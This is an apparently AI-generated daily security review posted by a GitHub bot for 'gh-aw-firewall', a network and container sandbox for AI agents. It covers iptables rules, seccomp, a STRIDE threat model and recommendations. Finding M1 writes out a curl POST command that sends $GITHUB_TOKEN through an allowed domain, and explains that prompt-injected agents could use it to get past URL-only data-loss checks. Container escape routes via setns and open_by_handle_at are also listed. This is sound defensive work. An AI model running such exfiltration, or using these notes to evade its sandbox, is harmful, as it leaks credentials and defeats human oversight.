[Security Review] Daily Security Review — 2026-03-16

[github-actions[bot]]

📊 Executive Summary

The gh-aw-firewall codebase maintains a strong security posture built on a well-designed defense-in-depth architecture. No critical or high-severity npm vulnerabilities exist. The primary controls — iptables-based network isolation, Squid domain whitelisting, capability dropping, seccomp enforcement, and selective credential file mounting — are all correctly implemented and layered.

Four Low findings and two Informational observations are documented below. None enable immediate container escape or credential exfiltration; they represent opportunities to tighten already-good defenses.

---

🔍 Findings from Previous Security Runs

The agenticworkflows-logs tool could not retrieve prior run data in this environment (git binary absent from PATH). No complementary prior-run data was incorporated.

---

🛡️ Architecture Security Analysis

Network Security Assessment ✅

Evidence — iptables chain ordering (containers/agent/setup-iptables.sh):

The NAT OUTPUT chain is ordered correctly:

1. Restore Docker embedded DNS DNAT rules (before RETURN rules)
2. RETURN for loopback / 127.0.0.0/8 / self-IP
3. RETURN for Squid proxy IP (prevents redirect loop)
4. NAT RETURN for dangerous ports (so they hit the DROP filter)
5. DNAT redirect HTTP (80) and HTTPS (443) → Squid

The filter OUTPUT chain then drops all non-explicitly-allowed TCP/UDP. This default-deny posture means all traffic not destined for lo, Squid, or DNS is silently dropped — no whitelist bypass opportunities exist in the current rule ordering.

IPv6 handling: when ip6tables is unavailable, IPv6 is disabled system-wide via sysctl -w net.ipv6.conf.all.disable_ipv6=1 (lines 26-33) before any user code runs. ✅

DNS exfiltration prevention: /etc/resolv.conf is overwritten to contain only 127.0.0.11 (Docker embedded DNS). Direct DNS queries to external resolvers are blocked by the filter DROP rule. ✅

Container Security Assessment ✅

Evidence — src/docker-manager.ts lines 1004–1027, 1122–1155:

• Init container pattern: awf-iptables-init shares the agent's network namespace but holds NET_ADMIN/NET_RAW. The agent container itself is never granted NET_ADMIN, closing the classic window between container start and capability drop.
• Capability drops: SYS_CHROOT and SYS_ADMIN are dropped inside the entrypoint (entrypoint.sh line 583) before executing user commands.
• no-new-privileges:true and the seccomp profile are both applied (security_opt at docker-manager.ts line 1025–1027).
• One-shot token library: LD_PRELOAD=/usr/local/lib/one-shot-token.so intercepts getenv()/secure_getenv(), caches the first-read value, and calls unsetenv() — so /proc/self/environ no longer exposes tokens after first access. ✅

ptrace blocked in seccomp: Prevents process injection / debugger-based introspection. ✅
process_vm_readv/process_vm_writev explicitly blocked: Prevents cross-process memory reads. ✅
npm audit: Critical: 0, High: 0 ✅

Domain Validation Assessment ✅

Evidence — src/domain-patterns.ts:120-160:

• Overly-broad patterns (*, *.*, any pattern where wildcards ≥ total segments − 1) raise validation errors before Squid config is generated.
• Wildcard-to-regex conversion uses [a-zA-Z0-9.-]* instead of .* to prevent catastrophic ReDoS backtracking.
• Input length capped at 512 chars before regex matching (isDomainMatchedByPattern, line ~283).

Input Validation / Injection Assessment ✅

• User command is passed as a Docker command array element (not shell-interpolated on the host side); $ signs are doubled ($$$$) for Docker Compose variable escaping (docker-manager.ts:1049).
• escapeShellArg (cli.ts:858) wraps multi-arg invocations in single quotes with proper '\'' escaping.
• redactSecrets (src/redact-secrets.ts) redacts Authorization: Bearer, env-var patterns matching TOKEN|SECRET|PASSWORD|KEY|AUTH, and GitHub token prefixes from log output.

---

⚠️ Threat Model (STRIDE)

#	Category	Threat	Likelihood	Impact	Status
T1	Tampering	Agent rewrites iptables rules after init	Low	High	Mitigated — NET_ADMIN never granted to agent
T2	Info Disclosure	Token exfiltration via /proc/self/environ	Low	High	Mitigated — one-shot token LD_PRELOAD
T3	Info Disclosure	Credential file exfiltration via prompt injection	Low	High	Mitigated — /dev/null overlays on ~/.docker/config.json, .npmrc, etc.
T4	Info Disclosure	Credential leak via DLP-unmonitored channels (POST body, headers)	Medium	Medium	Partial — DLP only checks URL patterns; POST body not scanned without SSL Bump
T5	Elevation of Privilege	Container escape via setns + namespace FD from /proc	Very Low	Critical	Low risk — no access to host /proc/1/ns/* from inside container
T6	Elevation of Privilege	Seccomp bypass via open_by_handle_at chroot escape	Very Low	High	Low risk — CAP_DAC_READ_SEARCH not granted; real attack requires it
T7	Spoofing	DNS spoofing to redirect traffic to attacker-controlled IP	Low	High	Mitigated — only Docker embedded DNS used; Squid validates host headers
T8	Denial of Service	Resource exhaustion in agent container	Medium	Low	No explicit CPU/memory limits on agent service
T9	Repudiation	Insufficient logging of blocked outbound attempts	Low	Low	Squid logs TCP_DENIED with domain; iptables LOG rules for non-HTTP

---

🎯 Attack Surface Map

Entry Point	File:Line	Current Protection	Risk
--allow-domains input	src/domain-patterns.ts:147-192	validateDomainOrPattern(), broadness checks, ReDoS mitigation	Low
Agent command string	src/cli.ts:858-875, docker-manager.ts:1049	Shell escaping, $→$$$$ doubling	Low
--env / --env-all	docker-manager.ts:375-494	EXCLUDED_ENV_VARS set, API key placeholders applied before --env-all	Low
Host iptables (DOCKER-USER)	src/host-iptables.ts	Dedicated FW_WRAPPER chain, cleaned up on exit	Low
Squid proxy ACLs	src/squid-config.ts	dstdomain/dstdom_regex ACLs, blocked domains first	Low
DNS resolution	containers/agent/entrypoint.sh:69-86	Single resolver 127.0.0.11; no external DNS in resolv.conf	Low
Container capabilities	docker-manager.ts:1012-1027	SYS_CHROOT/SYS_ADMIN dropped; no-new-privileges; seccomp	Low
Volume mounts	docker-manager.ts:890-995	Selective mounts; credential files overlaid with /dev/null	Low
CLAUDE_CODE_API_KEY_HELPER JSON write	containers/agent/entrypoint.sh:179,186	None — variable written unescaped into JSON	Low
Seccomp setns/open_by_handle_at	containers/agent/seccomp-profile.json	Capability checks still block practical exploitation	Info

---

📋 Evidence Collection

iptables NAT rule ordering (setup-iptables.sh)

# RETURN for localhost (prevents loopback from hitting Squid)
iptables -t nat -A OUTPUT -o lo -j RETURN
iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN

# RETURN for Squid IP (prevents redirect loop)
iptables -t nat -A OUTPUT -d "$SQUID_IP" -j RETURN

# NAT RETURN for dangerous ports (they will be DROPped by filter chain)
for port in 22 23 25 110 143 445 ...; do
  iptables -t nat -A OUTPUT -p tcp --dport "$port" -j RETURN
done

# DNAT redirect HTTP/HTTPS → Squid
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination "\$\{SQUID_IP}:\$\{SQUID_PORT}"
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination "\$\{SQUID_IP}:\$\{SQUID_PORT}"

# Filter chain: default deny
iptables -A OUTPUT -p tcp -j DROP
iptables -A OUTPUT -p udp -j DROP
```

</details>

<details>
<summary>Dangerous ports list inconsistency (Python diff)</summary>

```
$ python3 -c "
squid_ports = {22,23,25,110,143,445,1433,1521,3306,3389,5432,5984,6379,6984,8086,8088,9200,9300,27017,27018,28017}
iptables_ports = {22,23,25,110,143,445,1433,1521,3306,3389,5432,6379,27017,27018,28017}
print('In squid-config.ts but NOT in setup-iptables.sh:', sorted(squid_ports - iptables_ports))
"
In squid-config.ts but NOT in setup-iptables.sh: [5984, 6984, 8086, 8088, 9200, 9300]
```

Comment at `setup-iptables.sh:272` claims: `# Dangerous ports list - matches DANGEROUS_PORTS in squid-config.ts` — this is **inaccurate**.

</details>

<details>
<summary>Seccomp sensitive syscall analysis</summary>

```
$ python3 seccomp-analysis.py
Default action: SCMP_ACT_ERRNO
ptrace:             EXPLICITLY BLOCKED ✅
process_vm_readv:   EXPLICITLY BLOCKED ✅
process_vm_writev:  EXPLICITLY BLOCKED ✅
bpf:                BLOCKED (default ERRNO) ✅
perf_event_open:    BLOCKED (default ERRNO) ✅
chroot:             ALLOWED ⚠️ (mitigated by CAP_SYS_CHROOT drop)
mount:              ALLOWED ⚠️ (mitigated by CAP_SYS_ADMIN drop)
unshare:            ALLOWED ⚠️ (user namespace creation possible)
setns:              ALLOWED ⚠️ (no host /proc/1/ns/* access in practice)
open_by_handle_at:  ALLOWED ⚠️ (mitigated by missing CAP_DAC_READ_SEARCH)
Total allowed syscalls: 343

CLAUDE_CODE_API_KEY_HELPER unescaped JSON write

# containers/agent/entrypoint.sh:179,186
echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE"
```

If `CLAUDE_CODE_API_KEY_HELPER` contains `"` or `\`, the resulting JSON is malformed.  
Example: value `/path/with"quote` → `{"apiKeyHelper":"/path/with"quote"}` (invalid JSON).

</details>

<details>
<summary>npm audit result</summary>

```
$ npm audit --json | python3 parse.py
Critical: 0, High: 0

---

✅ Recommendations

🔴 Critical

None.

🟠 High

None.

🟡 Medium

M1 — DLP POST body / header scanning (T4)
The DLP feature (src/dlp.ts) generates Squid url_regex ACLs that only scan the URL of outbound requests. A prompt-injected command could exfiltrate a token via curl -X POST -d "$GITHUB_TOKEN" (alloweddomain.com/redacted). Mitigations:

• Enable SSL Bump mode by default for DLP users (allows Squid to inspect request bodies)
• Or document clearly that DLP without SSL Bump does not prevent POST body exfiltration

🟢 Low

L1 — Fix dangerous ports comment in setup-iptables.sh
setup-iptables.sh:272 comment says the list matches squid-config.ts DANGEROUS_PORTS, but 6 ports are missing from the iptables script (5984, 6984, 8086, 8088, 9200, 9300). The filter DROP rule still blocks these ports, but the inaccurate comment is misleading. Either add the missing ports to the iptables NAT blacklist or update the comment to reflect that the filter DROP rule handles them.

L2 — JSON-escape CLAUDE_CODE_API_KEY_HELPER before writing to config file
containers/agent/entrypoint.sh:179,186:

# Current (unsafe for special chars):
echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE"

# Safer approach (using python or jq for proper escaping):
python3 -c "import json,sys; print(json.dumps({'apiKeyHelper': sys.argv[1]}))" \
  "$CLAUDE_CODE_API_KEY_HELPER" > "$CONFIG_FILE"

The current value is always a path like /usr/local/bin/get-claude-key.sh so exploitation is unlikely, but defensive coding is warranted.

L3 — Consider blocking unshare in seccomp profile
unshare with CLONE_NEWUSER (user namespace creation) works without privileges by default on most Linux kernels. While this does not directly escape the network firewall, it can be used to gain capabilities within a new user namespace. Adding unshare to the explicitly-blocked list in seccomp-profile.json reduces this surface:

{ "names": ["unshare"], "action": "SCMP_ACT_ERRNO" }

Note: This may break some legitimate workloads (e.g., Bubblewrap sandboxing in Flatpak).

L4 — Consider blocking setns in seccomp profile
setns allows switching between kernel namespaces. Without a file descriptor to a target namespace from /proc/(host-pid)/ns/*, exploitation is impractical — but the syscall is unnecessary for typical AI agent workloads:

{ "names": ["setns"], "action": "SCMP_ACT_ERRNO" }

ℹ️ Informational

I1 — No explicit CPU/memory resource limits on agent container
docker-manager.ts does not set mem_limit, cpus, or pids_limit on the agent service. A runaway or fork-bombed process could cause host resource exhaustion. Consider adding sane limits (e.g., pids_limit: 1024, mem_limit: 2g).

I2 — redactSecrets does not cover JWT tokens
src/redact-secrets.ts redacts Bearer tokens, env-var-style secrets, and GitHub token prefixes. JWT tokens (eyJ...) appearing in log output would not be redacted. JWT payloads can contain decoded user identity information; consider adding a JWT redaction pattern if agent logs are stored or forwarded.

---

📈 Security Metrics

Metric	Value
Security-critical TypeScript source lines (src/*.ts)	~5,200
Shell script security lines (containers/agent/*.sh)	~830
iptables rules applied (NAT + filter combined)	~94
Squid http_access / ACL directives (generated)	~53 template lines
Dangerous syscalls explicitly blocked in seccomp	ptrace, process_vm_readv/writev + default ERRNO for ~200 more
Allowed syscalls in seccomp	343
Attack surfaces identified	10
Critical findings	0
High findings	0
Medium findings	1
Low findings	4
Informational findings	2
npm Critical/High CVEs	0 / 0

AI generated by Daily Security Review and Threat Modeling

• expires on Mar 23, 2026, 2:04 PM UTC

[github-actions[bot]]

This discussion was automatically closed because it expired on 2026-03-23T14:04:35.177Z.

Closed by Workflow